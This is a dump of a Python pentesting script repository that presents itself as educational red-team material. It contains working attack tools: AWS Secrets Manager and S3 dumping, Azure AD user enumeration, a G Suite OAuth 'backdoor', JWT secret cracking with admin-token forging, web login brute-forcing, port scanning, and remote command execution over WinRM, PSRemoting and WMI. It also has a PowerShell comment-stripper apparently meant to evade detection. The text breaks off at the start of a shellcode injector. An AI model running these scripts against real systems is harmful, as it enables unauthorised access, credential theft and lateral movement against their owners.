Repository: ustayready/python-pentesting Branch: master Commit: 9a2e22eebbd7 Files: 27 Total size: 60.1 KB Directory structure: gitextract_qrxnpj0q/ ├── .gitignore ├── LICENSE ├── README.md ├── aws_services.txt ├── cloud_aws_s3.py ├── cloud_aws_secrets.py ├── cloud_azure_ad.py ├── cloud_gsuite_backdoor.py ├── cloud_gsuite_email.py ├── crack_jwt.py ├── live_host_discovery.py ├── live_port_discovery.py ├── passwords_attack.py ├── pivot_psremoting.py ├── pivot_winrm.py ├── pivot_wmi.py ├── powerstrip.py ├── pyinjector.py ├── pymeta.py ├── requirements.txt ├── shodan_search.py ├── socket_c2_client.py ├── socket_c2_server.py ├── web_brute.py ├── web_robots.py ├── web_sniff.py └── web_spa.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ # Byte-compiled / optimized / DLL files __pycache__/ *.py[cod] *$py.class # C extensions *.so # Distribution / packaging .Python build/ develop-eggs/ dist/ downloads/ eggs/ .eggs/ lib/ lib64/ parts/ sdist/ var/ wheels/ pip-wheel-metadata/ share/python-wheels/ *.egg-info/ .installed.cfg *.egg MANIFEST # PyInstaller # Usually these files are written by a python script from a template # before PyInstaller builds the exe, so as to inject date/other infos into it. *.manifest *.spec # Installer logs pip-log.txt pip-delete-this-directory.txt # Unit test / coverage reports htmlcov/ .tox/ .nox/ .coverage .coverage.* .cache nosetests.xml coverage.xml *.cover *.py,cover .hypothesis/ .pytest_cache/ cover/ # Translations *.mo *.pot # Django stuff: *.log local_settings.py db.sqlite3 db.sqlite3-journal # Flask stuff: instance/ .webassets-cache # Scrapy stuff: .scrapy # Sphinx documentation docs/_build/ # PyBuilder target/ # Jupyter Notebook .ipynb_checkpoints # IPython profile_default/ ipython_config.py # pyenv # For a library or package, you might want to ignore these files since the code is # intended to run in multiple environments; otherwise, check them in: # .python-version # pipenv # According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control. # However, in case of collaboration, if having platform-specific dependencies or dependencies # having no cross-platform support, pipenv may install dependencies that don't work, or not # install all needed dependencies. #Pipfile.lock # PEP 582; used by e.g. github.com/David-OConnor/pyflow __pypackages__/ # Celery stuff celerybeat-schedule celerybeat.pid # SageMath parsed files *.sage.py # Environments .env .venv env/ venv/ ENV/ env.bak/ venv.bak/ Scripts/ tcl/ Include/ share/ # Spyder project settings .spyderproject .spyproject # Rope project settings .ropeproject # mkdocs documentation /site # mypy .mypy_cache/ .dmypy.json dmypy.json # Pyre type checker .pyre/ # pytype static type analyzer .pytype/ ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2020 ustayready Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ Python for Pentesters ================== ## Overview ## Getting started with Python for pentesting and red team engagements is fairly easy! This repo is just a small collection of random scripts to help get you started. **Brought to you by:** ![Black Hills Information Security](https://www.blackhillsinfosec.com/wp-content/uploads/2016/03/BHIS-logo-L-300x300.png "Black Hills Information Security") ## Examples: by Mike Felch (@ustayready) and Joff Thyer (@joff_thyer) ## This code is provided purely for educational purposes. * pivot_winrm.py: shows how to use Python with winrm to execute commands on a remote machine * cloud_aws_s3.py: search AWS S3 buckets for sensitive filenames * cloud_aws_secrets.py: Dump all the secrets in AWS Secrets Manager * cloud_azure_ad.py: Dumping AzureAD users * cloud_gsuite_backdoor.py: Backdooring G Suite accounts for full access * cloud_gsuite_email.py: Reading GMail emails * crack_jwt.py: Cracking JSON web tokens * live_host_discovery.py: Discovering live hosts on a network * live_port_discovery.py: Discovering open ports on a host * passwords_attack.py: Trying username/password combinations on a web authentication portal * pivot_psremoting.py: Pivoting in a Windows environment using PSRemoting * pivot_wmi.py: Pivoting in a Windows environment using WMI * shodan_search.py: Searching for internet connected devices on Shodan * socket_c2_client.py: C2 socket client * socket_c2_server.py: C2 socket server * web_brute.py: Brute forcing web paths for unknown attack surfaces * web_robots.py: Downloading the robots.txt for URLs * web_sniff.py: Sniffing HTTP packets * web_spa.py: Interacting with a single page app with a headless browser then copying session cookies to the requests library * pymeta.py: Read all files in a directory recursively and extracts metadata from any office documents, and PDFs discovered * powerstrip.py: Strips comments out of a PowerShell script, and writes a file with -stripped as part of the filename * pyinjector.py: Using ctypes to execute shellcode within the same process or inject into a remote process using thread manipulation ================================================ FILE: aws_services.txt ================================================ AccessAnalyzer ACM ACMPCA AlexaForBusiness Amplify APIGateway ApiGatewayManagementApi ApiGatewayV2 AppConfig ApplicationAutoScaling ApplicationInsights AppMesh AppStream AppSync Athena AutoScaling AutoScalingPlans Backup Batch Budgets CostExplorer Chime Cloud9 CloudDirectory CloudFormation CloudFront CloudHSM CloudHSMV2 CloudSearch CloudSearchDomain CloudTrail CloudWatch CodeBuild CodeCommit CodeDeploy CodeGuruReviewer CodeGuruProfiler CodePipeline CodeStar CodeStarconnections CodeStarNotifications CognitoIdentity CognitoIdentityProvider CognitoSync Comprehend ComprehendMedical ComputeOptimizer ConfigService Connect ConnectParticipant CostandUsageReportService DataExchange DataPipeline DataSync DAX Detective DeviceFarm DirectConnect ApplicationDiscoveryService DLM DatabaseMigrationService DocDB DirectoryService DynamoDB DynamoDBStreams EBS EC2 EC2InstanceConnect ECR ECS EFS EKS ElasticInference ElastiCache ElasticBeanstalk ElasticTranscoder ElasticLoadBalancing ElasticLoadBalancingv2 EMR ElasticsearchService EventBridge Firehose FMS ForecastService ForecastQueryService FraudDetector FSx GameLift Glacier GlobalAccelerator Glue Greengrass GroundStation GuardDuty Health IAM imagebuilder ImportExport Inspector IoT IoTDataPlane IoTJobsDataPlane IoT1ClickDevicesService IoT1ClickProjects IoTAnalytics IoTEvents IoTEventsData IoTSecureTunneling IoTThingsGraph Kafka kendra Kinesis KinesisVideoArchivedMedia KinesisVideoMedia KinesisVideoSignalingChannels KinesisAnalytics KinesisAnalyticsV2 KinesisVideo KMS LakeFormation Lambda LexModelBuildingService LexRuntimeService LicenseManager Lightsail CloudWatchLogs MachineLearning Macie ManagedBlockchain MarketplaceCatalog MarketplaceEntitlementService MarketplaceCommerceAnalytics MediaConnect MediaConvert MediaLive MediaPackage MediaPackageVod MediaStore MediaStoreData MediaTailor MarketplaceMetering MigrationHub MigrationHubConfig Mobile MQ MTurk Neptune NetworkManager OpsWorks OpsWorksCM Organizations Outposts Personalize PersonalizeEvents PersonalizeRuntime PI Pinpoint PinpointEmail PinpointSMSVoice Polly Pricing QLDB QLDBSession QuickSight RAM RDS RDSDataService Redshift Rekognition ResourceGroups ResourceGroupsTaggingAPI RoboMaker Route53 Route53Domains Route53Resolver S3 S3Control SageMaker AugmentedAIRuntime SageMakerRuntime SavingsPlans Schemas SimpleDB SecretsManager SecurityHub ServerlessApplicationRepository ServiceQuotas ServiceCatalog ServiceDiscovery SES SESV2 Shield signer SMS PinpointSMSVoice Snowball SNS SQS SSM SSO SSOOIDC SFN StorageGateway STS Support SWF Textract TranscribeService Transfer Translate WAF WAFRegional WAFV2 WorkDocs WorkLink WorkMail WorkMailMessageFlow WorkSpaces XRay ================================================ FILE: cloud_aws_s3.py ================================================ from botocore.exceptions import ClientError import boto3 import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(access_key, secret_access_key, query): session = boto3.Session( aws_access_key_id=access_key, aws_secret_access_key=secret_access_key, ) s3 = session.resource('s3') for bucket in s3.buckets.all(): print('Enumerating bucket: {}'.format(bucket.name)) for key in bucket.objects.all(): if query in key.key: print('[-] Found gold: {}'.format(key.key)) if __name__ == '__main__': access_key = sys.argv[1] secret_access_key = sys.argv[2] query = sys.argv[3] main(access_key, secret_access_key, query) ================================================ FILE: cloud_aws_secrets.py ================================================ import boto3 import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def leak_secrets(access_key, secret_access_key, region_name): session = boto3.Session( aws_access_key_id=access_key, aws_secret_access_key=secret_access_key, region_name=region_name, ) client = session.client(service_name='secretsmanager') response = client.list_secrets() for secret in response['SecretList']: secret_name = secret['Name'] secret_desc = secret['Description'] secret_val_resp = client.get_secret_value(SecretId=secret_name) print('{}: {}'.format(secret_name, secret_desc)) if 'SecretString' in secret_val_resp: secret_val = secret_val_resp['SecretString'] print(secret_val) else: print('Binary Data Found!') if __name__ == '__main__': access_key = sys.argv[1] secret_access_key = sys.argv[2] region_name = sys.argv[3] leak_secrets(access_key, secret_access_key, region_name) ================================================ FILE: cloud_azure_ad.py ================================================ from msrestazure.azure_active_directory import AADTokenCredentials import adal import requests import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(domain, client_id, client_secret): url = 'https://login.microsoftonline.com/{}/oauth2/v2.0/token'.format(domain) data = { 'grant_type': 'client_credentials', 'client_id': client_id, 'scope': 'https://graph.microsoft.com/.default', 'client_secret': client_secret, } r = requests.post(url, data=data) token = r.json().get('access_token') url_users = 'https://graph.microsoft.com/v1.0/users' #url_groups = 'https://graph.microsoft.com/beta/groups' headers = { 'Content-Type' : 'application\\json', 'Authorization': 'Bearer {}'.format(token) } r = requests.get(url_users, headers=headers) result = r.json() print(result) if __name__ == '__main__': domain = sys.argv[1] client_id = sys.argv[2] client_secret = sys.argv[3] main(domain, client_id, client_secret) ================================================ FILE: cloud_gsuite_backdoor.py ================================================ #!/usr/bin/env python import os from oauth2client import client, tools from oauth2client.file import Storage ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' SCOPES = 'https://www.googleapis.com/auth/calendar https://mail.google.com/ https://www.googleapis.com/auth/drive https://www.googleapis.com/auth/groups https://www.googleapis.com/auth/admin.directory.user' def get_credentials(): credential_dir =os.getcwd() client_secret_path = os.path.join(credential_dir, 'client_secrets.json') saved_secret_path = os.path.join(credential_dir, 'saved_creds.json') store = Storage(saved_secret_path) credentials = store.get() if not credentials or credentials.invalid: flow = client.flow_from_clientsecrets(client_secret_path, SCOPES, redirect_uri='http://localhost') url = flow.step1_get_authorize_url() flags = tools.argparser.parse_args(args=[]) flags.noauth_local_webserver = True credentials = tools.run_flow(flow, store, flags=flags) return credentials if __name__ == "__main__": get_credentials() ================================================ FILE: cloud_gsuite_email.py ================================================ from googleapiclient.discovery import build from httplib2 import Http from oauth2client import file, client, tools ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' SCOPES = 'https://www.googleapis.com/auth/gmail.readonly' def main(): store = file.Storage('token.json') creds = store.get() if not creds or creds.invalid: flow = client.flow_from_clientsecrets('credentials.json', SCOPES) creds = tools.run_flow(flow, store) service = build('gmail', 'v1', http=creds.authorize(Http())) results = service.users().messages().list(userId='me',labelIds = ['INBOX']).execute() messages = results.get('messages', []) for message in messages: msg = service.users().messages().get(userId='me', id=message['id']).execute() print(msg['snippet']) if __name__ == '__main__': main() ================================================ FILE: crack_jwt.py ================================================ import sys import jwt import requests import time ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(url, password_file): response = requests.get(url, headers={'user-agent':'pentest'}) if 'session' in response.cookies: token = response.cookies['session'] print(f'Old Token: {token}\n') with open(password_file,'r') as file: passwords = [x.strip() for x in file.readlines()] for password in passwords: success = decode_jwt(token, password) if success: new_session = exploit(token, password) cook = { 'session': new_session } new_request = requests.get(url,cookies=cook, headers={'user-agent':'pentest'}) print(new_request.text) break def exploit(token, password): decoded = jwt.decode(token, password) decoded['user_id'] = 'admin' decoded['is_admin'] = 'true' encoded = jwt.encode(decoded,password).decode('utf-8') print(f'New Token: {encoded}\n') return encoded def decode_jwt(token, password): try: decoded = jwt.decode(token, password) print(f'Password found! {password}\n') return True except: return False if __name__ == '__main__': url = sys.argv[1] password_file = sys.argv[2] main(url, password_file) ================================================ FILE: live_host_discovery.py ================================================ from ping3 import ping import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(host): ttl = ping(host) if ttl: print(f'{host} is alive.') else: print(f'{host} is NOT alive.') if __name__ == '__main__': host = sys.argv[1] main(host) ================================================ FILE: live_port_discovery.py ================================================ import socket import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(host,ports): scan_range = [] scan_results = [] if '-' in ports: start_port, stop_port = ports.split('-') for port in range(int(start_port), int(stop_port)+1): scan_range.append(port) elif ',' in ports: for port in ports.split(','): port = int(port.strip()) scan_range.append(port) else: scan_range.append(int(ports)) scan_range.append(int(ports)+1) scan_range = check_ports(host, scan_range) def check_ports(host, ports): port_results = [] for port in ports: try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) result = sock.connect_ex((host, port)) if result == 0: print(f'{host} -> {port}: up') port_results.append((port, True)) sock.close() except Exception as ex: print(f'{host} -> {port}: down') port_results.append((port, False)) return port_results if __name__ == '__main__': host = sys.argv[1] port_range = sys.argv[2] main(host, port_range) ================================================ FILE: passwords_attack.py ================================================ import requests import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(url, user_file, password_file): users = [] passwords = [] with open(user_file, 'r') as u_file: users = [x.strip() for x in u_file.readlines()] with open(password_file, 'r') as p_file: passwords = [x.strip() for x in p_file.readlines()] for user in users: print(f'Trying username: {user}') for password in passwords: result = check_auth(url, user, password) if result: print(f'Success! {user} -> {password}') def check_auth(url, user, password): custom_headers = {'user-agent':'custom agent'} payload = {'username':user, 'password':password} response = requests.post(url, headers=custom_headers, data=payload) if response.status_code == 200: return True else: return False if __name__ == '__main__': url = sys.argv[1] user_file = sys.argv[2] password_file = sys.argv[3] main(url, user_file, password_file) ================================================ FILE: pivot_psremoting.py ================================================ from pypsrp.powershell import PowerShell, RunspacePool from pypsrp.wsman import WSMan import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(host, username, password, command): wsman = WSMan(host, username=username, password=password, cert_validation=False) with RunspacePool(wsman) as pool: ps = PowerShell(pool) ps.add_cmdlet(command) ps.invoke() print(ps.output[0]) if __name__ == '__main__': host = sys.argv[1] username = sys.argv[2] password = sys.argv[3] command = sys.argv[4] main(host, username, password, command) ================================================ FILE: pivot_winrm.py ================================================ from winrm.protocol import Protocol import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(computer, username, password, command): p = Protocol( endpoint='https://{}:5986/wsman'.format(computer), transport='ntlm', username=username, password=password, server_cert_validation='ignore' ) shell_id = p.open_shell() #command_id = p.run_command(shell_id, 'query', ['user']) command_id = p.run_command(shell_id,command, []) std_out, std_err, status_code = p.get_command_output(shell_id, command_id) p.cleanup_command(shell_id, command_id) p.close_shell(shell_id) if __name__ == '__main__': computer = sys.argv[1] username = sys.argv[2] password = sys.argv[3] command = sys.argv[4] main(computer, username, password, command) ================================================ FILE: pivot_wmi.py ================================================ from socket import * import wmi import time import sys ''' Author: Mike Felch (c) 2020, @ustayready - Copyright 2020 Mike Felch Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ''' def main(host, username, password, command_path): SW_SHOWNORMAL = 1 c = wmi.WMI(host, user=username, password=password) process_startup = c.Win32_ProcessStartup.new() process_startup.ShowWindow = SW_SHOWNORMAL process_id, result = c.Win32_Process.Create(CommandLine=command_path,ProcessStartupInformation=process_startup) if result == 0: print("Execution success: {} pid".format(process_id)) else: print("Execution failed: {}".format(result)) if __name__ == '__main__': host = sys.argv[1] username = sys.argv[2] password = sys.argv[3] command_path = sys.argv[4] main(host, username, password, command_path) ================================================ FILE: powerstrip.py ================================================ #!/usr/bin/env python3 import argparse import sys import re import os __version__ = '1.0.3' __author__ = 'Joff Thyer' class PowerStrip(): functions = {} def __init__(self, filename, stutter=False): self.filename = filename self.stutter = stutter try: rootname, ext = os.path.basename(filename).split('.') except Exception as e: print('{}: ps1 extension?'.format(e)) sys.exit(1) self.outputfile = '{}-stripped.{}'.format(rootname, ext) self.run() def run(self): print('[*] Reading Input file: {}'.format(self.filename)) infile = open(self.filename, 'rt') self.contents = infile.readlines() infile.close() self.process_file() print('[*] Writing Output file: {}'.format(self.outputfile)) outfile = open(self.outputfile, 'wt') outfile.writelines(self.results) outfile.close() def process_file(self): self.results = [] skip = False rxp = re.compile(r'function\s([A-Za-z]+-[A-Za-z]+)') for line in self.contents: if self.stutter: m = rxp.match(line) if m: self.functions[m.group(1)] = True if '<#' in line: skip = True continue elif '#>' in line: skip = False continue elif re.match(r'^\s*#.*$', line): continue if not skip: self.results.append(line) print('[*] {} lines in original script.'.format(len(self.contents))) print('[*] {} lines in new script.'.format(len(self.results))) print('[*] {} total lines removed.'.format(len(self.contents) - len(self.results))) if not self.stutter: return print('[*] Detected Function Names:') out = '' for f in sorted(self.functions.keys()): out += '{}, '.format(f) if len(out) > 60: print(' [+] {}'.format(out)) out = '' if len(out) < 60: print(' [+] {}'.format(out[:-2])) # fix function names replaced = 0 for i, line in enumerate(self.results): for f in self.functions: if f in line: self.results[i] = line.replace(f, f[0] + f) replaced += 1 print('[*] {} total function names detected.'.format(len(self.functions))) print('[*] {} function name substitutions.'.format(replaced)) if __name__ == '__main__': progname = os.path.basename(sys.argv[0]).split('.')[0].title() banner = '''\ [*] -------------------------------------------- [*] {}, Version: {} [*] Author: {}, (c) 2020 [*] -------------------------------------------- '''.format(progname, __version__, __author__) print(banner) parser = argparse.ArgumentParser() parser.add_argument('filename') parser.add_argument( '-s', '--stutter', default=False, action='store_true', help='''\ Modify function names by adding additional letter at beginning. "Invoke-Fun" becomes "IInvoke-Fun" for example.''' ) args = parser.parse_args() ps = PowerStrip(args.filename, args.stutter) ================================================ FILE: pyinjector.py ================================================ from __future__ import print_function import ctypes import ctypes.wintypes as wt import psutil import random import os import platform import sys try: input = raw_input except: pass class InjectProcess(): calc_x86 = "" calc_x86 += 